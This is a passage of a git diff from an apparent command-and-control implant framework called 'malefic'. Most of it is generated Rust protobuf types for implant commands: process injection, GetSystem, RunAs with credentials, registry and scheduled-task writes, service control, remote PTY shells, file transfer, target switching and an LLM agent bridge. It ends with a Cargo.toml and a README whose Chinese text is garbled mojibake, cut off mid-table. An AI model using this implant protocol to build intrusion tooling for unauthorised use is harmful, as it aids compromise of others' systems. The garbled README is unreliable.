::prost::Message)] +pub struct BinaryResponse { + /// common return, bof BeaconOutput + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, + /// bof BeaconPrintf + #[prost(bytes = "vec", tag = "2")] + #[serde(default)] + pub message: ::prost::alloc::vec::Vec, + #[prost(string, tag = "4")] + #[serde(default)] + pub err: ::prost::alloc::string::String, + #[prost(int32, tag = "3")] + #[serde(default)] + pub status: i32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Modules { + #[prost(string, repeated, tag = "1")] + #[serde(default)] + pub modules: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(map = "string, string", tag = "2")] + #[serde(default)] + pub bundle_map: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Addons { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub addons: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Addon { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub depend: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LoadModule { + #[prost(string, tag = "1")] + #[serde(default)] + pub bundle: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "2")] + #[serde(default)] + pub bin: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LoadAddon { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub depend: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "4")] + #[serde(default)] + pub bin: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ExecuteAddon { + #[prost(string, tag = "1")] + #[serde(default)] + pub addon: ::prost::alloc::string::String, + #[prost(message, optional, tag = "2")] + #[serde(default)] + pub execute_binary: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ExecuteBinary { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "2")] + #[serde(default)] + pub bin: ::prost::alloc::vec::Vec, + #[prost(map = "string, string", tag = "3")] + #[serde(default)] + pub param: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, + #[prost(string, tag = "4")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub process_name: ::prost::alloc::string::String, + #[prost(string, repeated, tag = "6")] + #[serde(default)] + pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(string, tag = "7")] + #[serde(default)] + pub entry_point: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "8")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, + #[prost(bool, tag = "9")] + #[serde(default)] + pub output: bool, + #[prost(uint32, tag = "10")] + #[serde(default)] + pub arch: u32, + #[prost(uint32, tag = "11")] + #[serde(default)] + pub timeout: u32, + #[prost(message, optional, tag = "12")] + #[serde(default)] + pub sacrifice: ::core::option::Option, + #[prost(string, tag = "13")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "14")] + #[serde(default)] + pub context: ::prost::alloc::string::String, + /// millisecond + #[prost(uint32, tag = "15")] + #[serde(default)] + pub delay: u32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct ExecuteCommand { + #[prost(string, tag = "1")] + #[serde(default)] + pub command: ::prost::alloc::string::String, + #[prost(message, optional, tag = "2")] + #[serde(default)] + pub sacrifice: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct UploadRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub target: ::prost::alloc::string::String, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub r#priv: u32, + #[prost(bytes = "vec", tag = "4")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, + #[prost(bool, tag = "5")] + #[serde(default)] + pub hidden: bool, + #[prost(bool, tag = "6")] + #[serde(default)] + pub r#override: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct DownloadRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub buffer_size: u32, + #[prost(bool, tag = "4")] + #[serde(default)] + pub dir: bool, + #[prost(int32, tag = "5")] + #[serde(default)] + pub cur: i32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct DownloadResponse { + #[prost(string, tag = "1")] + #[serde(default)] + pub checksum: ::prost::alloc::string::String, + #[prost(uint64, tag = "2")] + #[serde(default)] + pub size: u64, + #[prost(int32, tag = "3")] + #[serde(default)] + pub cur: i32, + #[prost(bytes = "vec", tag = "4")] + #[serde(default)] + pub content: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct CurlRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub url: ::prost::alloc::string::String, + #[prost(int32, tag = "2")] + #[serde(default)] + pub timeout: i32, + #[prost(string, tag = "3")] + #[serde(default)] + pub method: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "4")] + #[serde(default)] + pub body: ::prost::alloc::vec::Vec, + #[prost(map = "string, string", tag = "5")] + #[serde(default)] + pub header: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, + #[prost(string, tag = "6")] + #[serde(default)] + pub hostname: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct ChownRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub uid: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub gid: ::prost::alloc::string::String, + #[prost(bool, tag = "4")] + #[serde(default)] + pub recursive: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct IfconfigResponse { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub net_interfaces: ::prost::alloc::vec::Vec, +} +/// wrap for client +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct RegistryRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(message, optional, tag = "2")] + #[serde(default)] + pub registry: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Registry { + #[prost(string, tag = "1")] + #[serde(default)] + pub hive: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub key: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct RegistryWriteRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub hive: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub key: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub string_value: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "6")] + #[serde(default)] + pub byte_value: ::prost::alloc::vec::Vec, + #[prost(uint32, tag = "7")] + #[serde(default)] + pub dword_value: u32, + #[prost(uint64, tag = "8")] + #[serde(default)] + pub qword_value: u64, + #[prost(uint32, tag = "10")] + #[serde(default)] + pub regtype: u32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TaskScheduleRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(message, optional, tag = "2")] + #[serde(default)] + pub taskschd: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TaskSchedule { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub executable_path: ::prost::alloc::string::String, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub trigger_type: u32, + #[prost(string, tag = "5")] + #[serde(default)] + pub start_boundary: ::prost::alloc::string::String, + #[prost(string, tag = "6")] + #[serde(default)] + pub description: ::prost::alloc::string::String, + #[prost(bool, tag = "7")] + #[serde(default)] + pub enabled: bool, + #[prost(string, tag = "8")] + #[serde(default)] + pub last_run_time: ::prost::alloc::string::String, + #[prost(string, tag = "9")] + #[serde(default)] + pub next_run_time: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct TaskSchedulesResponse { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub schedules: ::prost::alloc::vec::Vec, +} +/// wrap for client +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct ServiceRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(message, optional, tag = "2")] + #[serde(default)] + pub service: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct ServiceConfig { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub display_name: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub executable_path: ::prost::alloc::string::String, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub start_type: u32, + #[prost(uint32, tag = "5")] + #[serde(default)] + pub error_control: u32, + #[prost(string, tag = "6")] + #[serde(default)] + pub account_name: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] +pub struct ServiceStatus { + #[prost(uint32, tag = "1")] + #[serde(default)] + pub current_state: u32, + #[prost(uint32, tag = "2")] + #[serde(default)] + pub process_id: u32, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub exit_code: u32, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub checkpoint: u32, + #[prost(uint32, tag = "5")] + #[serde(default)] + pub wait_hint: u32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Service { + #[prost(message, optional, tag = "1")] + #[serde(default)] + pub config: ::core::option::Option, + #[prost(message, optional, tag = "2")] + #[serde(default)] + pub status: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ServicesResponse { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub services: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct WmiQueryRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub namespace: ::prost::alloc::string::String, + #[prost(string, repeated, tag = "2")] + #[serde(default)] + pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct WmiMethodRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub namespace: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub class_name: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub method_name: ::prost::alloc::string::String, + #[prost(map = "string, string", tag = "4")] + #[serde(default)] + pub params: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct RunAsRequest { + /// Username to execute as + #[prost(string, tag = "1")] + #[serde(default)] + pub username: ::prost::alloc::string::String, + /// User domain + #[prost(string, tag = "2")] + #[serde(default)] + pub domain: ::prost::alloc::string::String, + /// User password + #[prost(string, tag = "3")] + #[serde(default)] + pub password: ::prost::alloc::string::String, + /// Program path + #[prost(string, tag = "4")] + #[serde(default)] + pub program: ::prost::alloc::string::String, + /// Program arguments (optional) + #[prost(string, tag = "5")] + #[serde(default)] + pub args: ::prost::alloc::string::String, + #[prost(bool, tag = "6")] + #[serde(default)] + pub use_profile: bool, + /// Use network credentials only (optional, default false) + #[prost(bool, tag = "7")] + #[serde(default)] + pub netonly: bool, + #[prost(bool, tag = "8")] + #[serde(default)] + pub use_env: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct GetSystem { + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub bin: ::prost::alloc::vec::Vec, + #[prost(uint32, tag = "2")] + #[serde(default)] + pub pid: u32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Inject { + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub bin: ::prost::alloc::vec::Vec, + #[prost(uint32, tag = "2")] + #[serde(default)] + pub pid: u32, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub token_pid: u32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Pipe { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub target: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "4")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct PipeRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(message, optional, tag = "2")] + #[serde(default)] + pub pipe: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TargetTlsConfig { + #[prost(bool, tag = "1")] + #[serde(default)] + pub enable: bool, + #[prost(string, tag = "2")] + #[serde(default)] + pub version: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub sni: ::prost::alloc::string::String, + #[prost(bool, tag = "4")] + #[serde(default)] + pub skip_verify: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TargetProxyConfig { + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub host: ::prost::alloc::string::String, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub port: u32, + #[prost(string, tag = "4")] + #[serde(default)] + pub username: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub password: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct TargetHttpConfig { + #[prost(string, tag = "1")] + #[serde(default)] + pub method: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub version: ::prost::alloc::string::String, + #[prost(map = "string, string", tag = "4")] + #[serde(default)] + pub headers: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TargetRemConfig { + #[prost(string, tag = "1")] + #[serde(default)] + pub link: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Target { + #[prost(string, tag = "1")] + #[serde(default)] + pub address: ::prost::alloc::string::String, + /// "tcp" / "http" / "rem" + #[prost(string, tag = "2")] + #[serde(default)] + pub protocol: ::prost::alloc::string::String, + #[prost(message, optional, tag = "3")] + #[serde(default)] + pub tls_config: ::core::option::Option, + #[prost(message, optional, tag = "4")] + #[serde(default)] + pub proxy_config: ::core::option::Option, + #[prost(message, optional, tag = "5")] + #[serde(default)] + pub http_config: ::core::option::Option, + #[prost(message, optional, tag = "6")] + #[serde(default)] + pub rem_config: ::core::option::Option, + #[prost(string, tag = "7")] + #[serde(default)] + pub domain_suffix: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Switch { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub targets: ::prost::alloc::vec::Vec, + #[prost(enumeration = "SwitchAction", tag = "2")] + #[serde(default)] + pub action: i32, + #[prost(bytes = "vec", tag = "3")] + #[serde(default)] + pub key: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TaskCtrl { + #[prost(uint32, tag = "1")] + #[serde(default)] + pub task_id: u32, + #[prost(string, tag = "2")] + #[serde(default)] + pub op: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TaskInfo { + #[prost(uint32, tag = "1")] + #[serde(default)] + pub task_id: u32, + #[prost(uint64, tag = "2")] + #[serde(default)] + pub last: u64, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub recv_count: u32, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub send_count: u32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct TaskListResponse { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub tasks: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct FFmpegRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub action: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub device_name: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub output_format: ::prost::alloc::string::String, + #[prost(string, tag = "4")] + #[serde(default)] + pub output_path: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub time: ::prost::alloc::string::String, +} +/// PTY +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct PtyRequest { + /// type: "start", "input", "stop" + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + /// + #[prost(string, tag = "2")] + #[serde(default)] + pub session_id: ::prost::alloc::string::String, + /// shell type: "/bin/bash", "cmd.exe", "powershell.exe" + #[prost(string, tag = "3")] + #[serde(default)] + pub shell: ::prost::alloc::string::String, + /// + #[prost(uint32, tag = "4")] + #[serde(default)] + pub cols: u32, + /// + #[prost(uint32, tag = "5")] + #[serde(default)] + pub rows: u32, + /// + #[prost(bytes = "vec", tag = "6")] + #[serde(default)] + pub input_data: ::prost::alloc::vec::Vec, + /// + #[prost(string, tag = "7")] + #[serde(default)] + pub input_text: ::prost::alloc::string::String, + /// + #[prost(map = "string, string", tag = "8")] + #[serde(default)] + pub params: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct PtyResponse { + /// Session ID + #[prost(string, tag = "1")] + #[serde(default)] + pub session_id: ::prost::alloc::string::String, + /// Output data (binary) + #[prost(bytes = "vec", tag = "2")] + #[serde(default)] + pub output_data: ::prost::alloc::vec::Vec, + /// Output data (text) + #[prost(string, tag = "3")] + #[serde(default)] + pub output_text: ::prost::alloc::string::String, + /// Error message + #[prost(string, tag = "4")] + #[serde(default)] + pub error: ::prost::alloc::string::String, + /// Whether session is still active + #[prost(bool, tag = "5")] + #[serde(default)] + pub session_active: bool, + #[prost(string, repeated, tag = "6")] + #[serde(default)] + pub active_sessions: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(map = "string, string", tag = "7")] + #[serde(default)] + pub metadata: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct CommonBody { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(uint32, repeated, tag = "2")] + #[serde(default)] + pub u32_array: ::prost::alloc::vec::Vec, + #[prost(uint64, repeated, tag = "4")] + #[serde(default)] + pub u64_array: ::prost::alloc::vec::Vec, + #[prost(bool, repeated, tag = "6")] + #[serde(default)] + pub bool_array: ::prost::alloc::vec::Vec, + #[prost(string, repeated, tag = "8")] + #[serde(default)] + pub string_array: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(bytes = "vec", repeated, tag = "10")] + #[serde(default)] + pub bytes_array: ::prost::alloc::vec::Vec<::prost::alloc::vec::Vec>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LlmMessage { + /// "system" | "user" | "assistant" | "tool" + #[prost(string, tag = "1")] + #[serde(default)] + pub role: ::prost::alloc::string::String, + /// text content (truncated to ~200 chars) + #[prost(string, tag = "2")] + #[serde(default)] + pub content: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LlmToolCall { + /// call id + #[prost(string, tag = "1")] + #[serde(default)] + pub id: ::prost::alloc::string::String, + /// tool/function name + #[prost(string, tag = "2")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + /// JSON arguments (truncated to ~150 chars) + #[prost(string, tag = "3")] + #[serde(default)] + pub arguments: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct LlmToolResult { + /// reference tool call id + #[prost(string, tag = "1")] + #[serde(default)] + pub call_id: ::prost::alloc::string::String, + /// result content (truncated to ~200 chars) + #[prost(string, tag = "2")] + #[serde(default)] + pub content: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct LlmEvent { + /// "request" | "response" + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + /// "openai" | "claude" | "openai-responses" + #[prost(string, tag = "2")] + #[serde(default)] + pub format: ::prost::alloc::string::String, + /// model name + #[prost(string, tag = "3")] + #[serde(default)] + pub model: ::prost::alloc::string::String, + /// total messages in conversation + #[prost(int32, tag = "4")] + #[serde(default)] + pub message_count: i32, + /// last N messages (summarized) + #[prost(message, repeated, tag = "5")] + #[serde(default)] + pub messages: ::prost::alloc::vec::Vec, + /// tool calls in this turn + #[prost(message, repeated, tag = "6")] + #[serde(default)] + pub tool_calls: ::prost::alloc::vec::Vec, + /// tool results in this turn + #[prost(message, repeated, tag = "7")] + #[serde(default)] + pub tool_results: ::prost::alloc::vec::Vec, + /// HTTP status code (responses only) + #[prost(int32, tag = "8")] + #[serde(default)] + pub status_code: i32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct BridgeToolParam { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub description: ::prost::alloc::string::String, + /// "string", "integer", "boolean" + #[prost(string, tag = "3")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(bool, tag = "4")] + #[serde(default)] + pub required: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct BridgeToolDef { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub description: ::prost::alloc::string::String, + #[prost(message, repeated, tag = "3")] + #[serde(default)] + pub params: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct BridgeAgentRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub session: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub text: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub model: ::prost::alloc::string::String, + #[prost(string, tag = "4")] + #[serde(default)] + pub provider: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub system_prompt: ::prost::alloc::string::String, + #[prost(uint32, tag = "6")] + #[serde(default)] + pub max_turns: u32, + #[prost(message, repeated, tag = "7")] + #[serde(default)] + pub extra_tools: ::prost::alloc::vec::Vec, + #[prost(string, repeated, tag = "8")] + #[serde(default)] + pub skills: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct BridgeAgentResponse { + #[prost(string, tag = "1")] + #[serde(default)] + pub session: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub text: ::prost::alloc::string::String, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub iterations: u32, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub tool_calls_made: u32, + #[prost(string, tag = "5")] + #[serde(default)] + pub error: ::prost::alloc::string::String, + #[prost(message, repeated, tag = "6")] + #[serde(default)] + pub available_tools: ::prost::alloc::vec::Vec, +} +/// implant -> server: JSON-serialized BridgeRequest (moltis bridge protocol) +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct BridgeLlmRequest { + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, +} +/// server -> implant: JSON-serialized BridgeResponse (moltis bridge protocol) +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct BridgeLlmResponse { + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, + #[prost(string, tag = "2")] + #[serde(default)] + pub error: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, PartialOrd, Ord, ::prost::Enumeration)] +#[repr(i32)] +pub enum SwitchAction { + Replace = 0, + Add = 1, + Switch = 2, +} +impl SwitchAction { + /// String value of the enum field names used in the ProtoBuf definition. + /// + /// The values are not transformed in any way and thus are considered stable + /// (if the ProtoBuf definition does not change) and safe for programmatic use. + pub fn as_str_name(&self) -> &'static str { + match self { + Self::Replace => "REPLACE", + Self::Add => "ADD", + Self::Switch => "SWITCH", + } + } + /// Creates an enum from field names used in the ProtoBuf definition. + pub fn from_str_name(value: &str) -> ::core::option::Option { + match value { + "REPLACE" => Some(Self::Replace), + "ADD" => Some(Self::Add), + "SWITCH" => Some(Self::Switch), + _ => None, + } + } +} diff --git a/malefic-crates/rem/Cargo.toml b/malefic-crates/rem/Cargo.toml new file mode 100644 index 0000000..3de0384 --- /dev/null +++ b/malefic-crates/rem/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-rem" +version = "0.1.0" +edition = "2021" + +[features] +default = ["rem_static"] +rem = [] +rem_static = ["rem"] +rem_dynamic = ["rem"] + +[dependencies] +malefic-common = { workspace = true } + +[build-dependencies] +cc = "1" diff --git a/malefic-crates/rem/README.md b/malefic-crates/rem/README.md new file mode 100644 index 0000000..b518691 --- /dev/null +++ b/malefic-crates/rem/README.md @@ -0,0 +1,74 @@ +# malefic-rem + +REM 远程执行引擎的 Rust FFI å°è£…,æä¾›å®‰å…¨çš„内存通é“è¯»å†™ä¸Žè¿žæŽ¥ç®¡ç†æŽ¥å£ã€‚ + +## 功能简介 + +- 通过 FFI 调用 REM 引擎的 C 接å£ï¼ˆ`RemDial`ã€`MemoryDial` 等) +- æä¾› Rust 安全å°è£…,将 C 风格错误ç è½¬æ¢ä¸º `Result` 类型 +- 支æŒåŸºäºŽå†…å­˜å¥æŸ„çš„åŒå‘æ•°æ®é€šé“(读/写/关闭) +- 支æŒé™æ€é“¾æŽ¥æ¨¡å¼ï¼Œåœ¨ç¼–译期绑定 REM å‡½æ•°ç¬¦å· +- 统一的错误处ç†ï¼Œè¦†ç›–命令解æžã€å‚æ•°è§£æžã€è¿žæŽ¥å¤±è´¥ç­‰åœºæ™¯ + +## Features + +| Feature | 说明 | +|---------|------| +| `rem` | 基础 feature,å¯ç”¨ REM FFI 声明 | +| `rem_static` | 